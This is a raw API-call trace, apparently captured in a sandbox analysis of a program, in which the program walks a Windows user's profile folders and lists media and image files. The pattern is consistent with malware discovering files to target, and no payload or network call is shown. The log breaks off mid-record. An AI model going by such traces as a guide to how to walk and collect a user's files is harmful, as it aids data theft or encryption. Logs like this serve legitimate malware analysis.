[0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc28b5530, ftCreationTime.dwHighDateTime=0x1d4d17f, ftLastAccessTime.dwLowDateTime=0xdf384110, ftLastAccessTime.dwHighDateTime=0x1d4c631, ftLastWriteTime.dwLowDateTime=0xdf384110, ftLastWriteTime.dwHighDateTime=0x1d4c631, nFileSizeHigh=0x0, nFileSizeLow=0x4f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="i0vpbCxKUDj27FIiTrf.wav", cAlternateFileName="I0VPBC~1.WAV")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa35c1b70, ftCreationTime.dwHighDateTime=0x1d4c7a9, ftLastAccessTime.dwLowDateTime=0xdbbf43f0, ftLastAccessTime.dwHighDateTime=0x1d4c8c3, ftLastWriteTime.dwLowDateTime=0xdbbf43f0, ftLastWriteTime.dwHighDateTime=0x1d4c8c3, nFileSizeHigh=0x0, nFileSizeLow=0x458c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KbAGa_jf9A0p1.mp3", cAlternateFileName="KBAGA_~1.MP3")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f22d30, ftCreationTime.dwHighDateTime=0x1d4c85b, ftLastAccessTime.dwLowDateTime=0xa5e0b9d0, ftLastAccessTime.dwHighDateTime=0x1d4c701, ftLastWriteTime.dwLowDateTime=0xa5e0b9d0, ftLastWriteTime.dwHighDateTime=0x1d4c701, nFileSizeHigh=0x0, nFileSizeLow=0x73b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LgZcOmajdnsesY.m4a", cAlternateFileName="LGZCOM~1.M4A")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfc6bb90, ftCreationTime.dwHighDateTime=0x1d4ce8d, ftLastAccessTime.dwLowDateTime=0xc300d8a0, ftLastAccessTime.dwHighDateTime=0x1d4d256, ftLastWriteTime.dwLowDateTime=0xc300d8a0, ftLastWriteTime.dwHighDateTime=0x1d4d256, nFileSizeHigh=0x0, nFileSizeLow=0x15bdb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nexJic6.wav", cAlternateFileName="")) returned 1 [0059.418] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ac75b60, ftCreationTime.dwHighDateTime=0x1d4d140, ftLastAccessTime.dwLowDateTime=0xd249dc90, ftLastAccessTime.dwHighDateTime=0x1d4d45d, ftLastWriteTime.dwLowDateTime=0xd249dc90, ftLastWriteTime.dwHighDateTime=0x1d4d45d, nFileSizeHigh=0x0, nFileSizeLow=0xe720, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NN082DlMLC6MxmlQyS42.wav", cAlternateFileName="NN082D~1.WAV")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x533c6180, ftCreationTime.dwHighDateTime=0x1d4cd54, ftLastAccessTime.dwLowDateTime=0x8c92cc00, ftLastAccessTime.dwHighDateTime=0x1d4d342, ftLastWriteTime.dwLowDateTime=0x8c92cc00, ftLastWriteTime.dwHighDateTime=0x1d4d342, nFileSizeHigh=0x0, nFileSizeLow=0x179e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tbTKJ0ZxbS6wZlGEphR.wav", cAlternateFileName="TBTKJ0~1.WAV")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x847323a0, ftCreationTime.dwHighDateTime=0x1d4c972, ftLastAccessTime.dwLowDateTime=0x1a1bc660, ftLastAccessTime.dwHighDateTime=0x1d4cdf0, ftLastWriteTime.dwLowDateTime=0x1a1bc660, ftLastWriteTime.dwHighDateTime=0x1d4cdf0, nFileSizeHigh=0x0, nFileSizeLow=0xcc37, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ucbmmg-N-J.wav", cAlternateFileName="UCBMMG~1.WAV")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af2cf80, ftCreationTime.dwHighDateTime=0x1d4c5b9, ftLastAccessTime.dwLowDateTime=0x85650ee0, ftLastAccessTime.dwHighDateTime=0x1d4c8dc, ftLastWriteTime.dwLowDateTime=0x85650ee0, ftLastWriteTime.dwHighDateTime=0x1d4c8dc, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wAomAj1M-1.mp3", cAlternateFileName="WAOMAJ~1.MP3")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fa8acb0, ftCreationTime.dwHighDateTime=0x1d4d42e, ftLastAccessTime.dwLowDateTime=0x4e373950, ftLastAccessTime.dwHighDateTime=0x1d4c947, ftLastWriteTime.dwLowDateTime=0x4e373950, ftLastWriteTime.dwHighDateTime=0x1d4c947, nFileSizeHigh=0x0, nFileSizeLow=0x5d12, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wEWdm1lt.wav", cAlternateFileName="")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863e1530, ftCreationTime.dwHighDateTime=0x1d4cccb, ftLastAccessTime.dwLowDateTime=0xb1859c90, ftLastAccessTime.dwHighDateTime=0x1d4c5f5, ftLastWriteTime.dwLowDateTime=0xb1859c90, ftLastWriteTime.dwHighDateTime=0x1d4c5f5, nFileSizeHigh=0x0, nFileSizeLow=0x8a56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wHquroq M2bDSunIrjJ.wav", cAlternateFileName="WHQURO~1.WAV")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2909b5b0, ftCreationTime.dwHighDateTime=0x1d4c9db, ftLastAccessTime.dwLowDateTime=0x66ee0000, ftLastAccessTime.dwHighDateTime=0x1d4cd48, ftLastWriteTime.dwLowDateTime=0x66ee0000, ftLastWriteTime.dwHighDateTime=0x1d4cd48, nFileSizeHigh=0x0, nFileSizeLow=0x102d5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XQtttNc8l WMW7IPg.m4a", cAlternateFileName="XQTTTN~1.M4A")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dbe0c20, ftCreationTime.dwHighDateTime=0x1d4d2d3, ftLastAccessTime.dwLowDateTime=0xb5710520, ftLastAccessTime.dwHighDateTime=0x1d4cdd8, ftLastWriteTime.dwLowDateTime=0xb5710520, ftLastWriteTime.dwHighDateTime=0x1d4cdd8, nFileSizeHigh=0x0, nFileSizeLow=0x53aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_9l8.wav", cAlternateFileName="")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xe24d8580, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a", cAlternateFileName="")) returned 1 [0059.419] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xe24d8580, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a", cAlternateFileName="")) returned 0 [0059.419] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.419] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.419] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.419] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0059.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.419] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.419] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.419] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.419] PathFindFileNameW (pszPath="") returned="" [0059.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xe24d8580, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a", cAlternateFileName="")) returned 0xffffffff [0059.419] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.420] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0059.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.420] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.420] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.420] PathFindFileNameW (pszPath="") returned="" [0059.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x155080e0, ftCreationTime.dwHighDateTime=0x1d4c6d8, ftLastAccessTime.dwLowDateTime=0xe24d8580, ftLastAccessTime.dwHighDateTime=0x1d4c7e0, ftLastWriteTime.dwLowDateTime=0xe24d8580, ftLastWriteTime.dwHighDateTime=0x1d4c7e0, nFileSizeHigh=0x0, nFileSizeLow=0x2978, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_D7Y.m4a", cAlternateFileName="")) returned 0xffffffff [0059.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3119710 | out: hHeap=0x670000) returned 1 [0059.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.420] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0059.420] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.420] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.420] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.420] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.420] PathFindFileNameW (pszPath="") returned="" [0059.420] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa8ce6f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa8ce6f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xfa8ce6f0, ftLastAccessTime.dwHighDateTime=0x1d53558, ftLastWriteTime.dwLowDateTime=0xfa8ce6f0, ftLastWriteTime.dwHighDateTime=0x1d53558, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103ad50, ftCreationTime.dwHighDateTime=0x1d4d55c, ftLastAccessTime.dwLowDateTime=0x9730dc30, ftLastAccessTime.dwHighDateTime=0x1d4cada, ftLastWriteTime.dwLowDateTime=0x9730dc30, ftLastWriteTime.dwHighDateTime=0x1d4cada, nFileSizeHigh=0x0, nFileSizeLow=0xfc31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-W0-.gif", cAlternateFileName="")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x944a3f40, ftCreationTime.dwHighDateTime=0x1d4c9e3, ftLastAccessTime.dwLowDateTime=0x66099ba0, ftLastAccessTime.dwHighDateTime=0x1d4caa4, ftLastWriteTime.dwLowDateTime=0x66099ba0, ftLastWriteTime.dwHighDateTime=0x1d4caa4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1oLW", cAlternateFileName="")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93151100, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0xde95e180, ftLastAccessTime.dwHighDateTime=0x1d4d361, ftLastWriteTime.dwLowDateTime=0xde95e180, ftLastWriteTime.dwHighDateTime=0x1d4d361, nFileSizeHigh=0x0, nFileSizeLow=0x1347a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Aor58F2ltwiS2qWZJE.bmp", cAlternateFileName="AOR58F~1.BMP")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f560020, ftCreationTime.dwHighDateTime=0x1d4c908, ftLastAccessTime.dwLowDateTime=0x2eff1bf0, ftLastAccessTime.dwHighDateTime=0x1d4cc14, ftLastWriteTime.dwLowDateTime=0x2eff1bf0, ftLastWriteTime.dwHighDateTime=0x1d4cc14, nFileSizeHigh=0x0, nFileSizeLow=0xac7b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FDQ3v_tHbiNjViuE.jpg", cAlternateFileName="FDQ3V_~1.JPG")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50a93880, ftCreationTime.dwHighDateTime=0x1d4cd1d, ftLastAccessTime.dwLowDateTime=0x34cd7df0, ftLastAccessTime.dwHighDateTime=0x1d4d0d9, ftLastWriteTime.dwLowDateTime=0x34cd7df0, ftLastWriteTime.dwHighDateTime=0x1d4d0d9, nFileSizeHigh=0x0, nFileSizeLow=0xfe06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiUvM1waNbZk-e.bmp", cAlternateFileName="HIUVM1~1.BMP")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd168000, ftCreationTime.dwHighDateTime=0x1d4d072, ftLastAccessTime.dwLowDateTime=0x87d3c7e0, ftLastAccessTime.dwHighDateTime=0x1d4c97f, ftLastWriteTime.dwLowDateTime=0x87d3c7e0, ftLastWriteTime.dwHighDateTime=0x1d4c97f, nFileSizeHigh=0x0, nFileSizeLow=0x4889, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jMNoGbN.gif", cAlternateFileName="")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe26c240, ftCreationTime.dwHighDateTime=0x1d4c6ad, ftLastAccessTime.dwLowDateTime=0xa815b150, ftLastAccessTime.dwHighDateTime=0x1d4d32d, ftLastWriteTime.dwLowDateTime=0xa815b150, ftLastWriteTime.dwHighDateTime=0x1d4d32d, nFileSizeHigh=0x0, nFileSizeLow=0x110f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L4Lb_VKCFG5Baj3.gif", cAlternateFileName="L4LB_V~1.GIF")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62df8740, ftCreationTime.dwHighDateTime=0x1d4cef6, ftLastAccessTime.dwLowDateTime=0xabac5ce0, ftLastAccessTime.dwHighDateTime=0x1d4d33e, ftLastWriteTime.dwLowDateTime=0xabac5ce0, ftLastWriteTime.dwHighDateTime=0x1d4d33e, nFileSizeHigh=0x0, nFileSizeLow=0x9081, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MCZaDa0QQJ6wcNZUXn.gif", cAlternateFileName="MCZADA~1.GIF")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda5b1830, ftCreationTime.dwHighDateTime=0x1d4ca04, ftLastAccessTime.dwLowDateTime=0xa872220, ftLastAccessTime.dwHighDateTime=0x1d4d189, ftLastWriteTime.dwLowDateTime=0xa872220, ftLastWriteTime.dwHighDateTime=0x1d4d189, nFileSizeHigh=0x0, nFileSizeLow=0x16bbc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MkdmiW2n2hm UFrse-.bmp", cAlternateFileName="MKDMIW~1.BMP")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbe70670, ftCreationTime.dwHighDateTime=0x1d4c70b, ftLastAccessTime.dwLowDateTime=0x48211160, ftLastAccessTime.dwHighDateTime=0x1d4d353, ftLastWriteTime.dwLowDateTime=0x48211160, ftLastWriteTime.dwHighDateTime=0x1d4d353, nFileSizeHigh=0x0, nFileSizeLow=0x6069, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFMo70Ypi.jpg", cAlternateFileName="OFMO70~1.JPG")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d5eda20, ftCreationTime.dwHighDateTime=0x1d4d0a0, ftLastAccessTime.dwLowDateTime=0x6a738f60, ftLastAccessTime.dwHighDateTime=0x1d4d4be, ftLastWriteTime.dwLowDateTime=0x6a738f60, ftLastWriteTime.dwHighDateTime=0x1d4d4be, nFileSizeHigh=0x0, nFileSizeLow=0xb66, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QoXfvFeQOhQIV.png", cAlternateFileName="QOXFVF~1.PNG")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91af5900, ftCreationTime.dwHighDateTime=0x1d4c9f7, ftLastAccessTime.dwLowDateTime=0xfaf33db0, ftLastAccessTime.dwHighDateTime=0x1d4d40f, ftLastWriteTime.dwLowDateTime=0xfaf33db0, ftLastWriteTime.dwHighDateTime=0x1d4d40f, nFileSizeHigh=0x0, nFileSizeLow=0x6770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S4GQ2GGMfzy1DKUl.png", cAlternateFileName="S4GQ2G~1.PNG")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc970f2d0, ftCreationTime.dwHighDateTime=0x1d4d0ce, ftLastAccessTime.dwLowDateTime=0xa8b02110, ftLastAccessTime.dwHighDateTime=0x1d4d1c3, ftLastWriteTime.dwLowDateTime=0xa8b02110, ftLastWriteTime.dwHighDateTime=0x1d4d1c3, nFileSizeHigh=0x0, nFileSizeLow=0x297b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VyatE0vXWAqC0OxRt_.jpg", cAlternateFileName="VYATE0~1.JPG")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x573a21a0, ftLastWriteTime.dwHighDateTime=0x1d4cf39, nFileSizeHigh=0x0, nFileSizeLow=0x16d31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif", cAlternateFileName="")) returned 1 [0059.421] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x573a21a0, ftLastWriteTime.dwHighDateTime=0x1d4cf39, nFileSizeHigh=0x0, nFileSizeLow=0x16d31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif", cAlternateFileName="")) returned 0 [0059.421] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0059.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.421] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31196b8 | out: hHeap=0x670000) returned 1 [0059.421] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.421] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\") returned="PrintHood\\" [0059.422] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.422] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.422] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.422] PathFindFileNameW (pszPath="") returned="" [0059.422] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\PrintHood\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, ftCreationTime.dwHighDateTime=0x1d4c5b0, ftLastAccessTime.dwLowDateTime=0x573a21a0, ftLastAccessTime.dwHighDateTime=0x1d4cf39, ftLastWriteTime.dwLowDateTime=0x573a21a0, ftLastWriteTime.dwHighDateTime=0x1d4cf39, nFileSizeHigh=0x0, nFileSizeLow=0x16d31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y18suG.gif", cAlternateFileName="")) returned 0xffffffff [0059.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0059.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d46a0 | out: hHeap=0x670000) returned 1 [0059.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6150 | out: hHeap=0x670000) returned 1 [0059.422] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.422] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\") returned="Recent\\" [0059.422] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0059.422] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0059.422] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e59c8 | out: hHeap=0x670000) returned 1 [0059.422] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.422] PathFindFileNameW (pszPath="") returned="" [0059.422] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d62650, 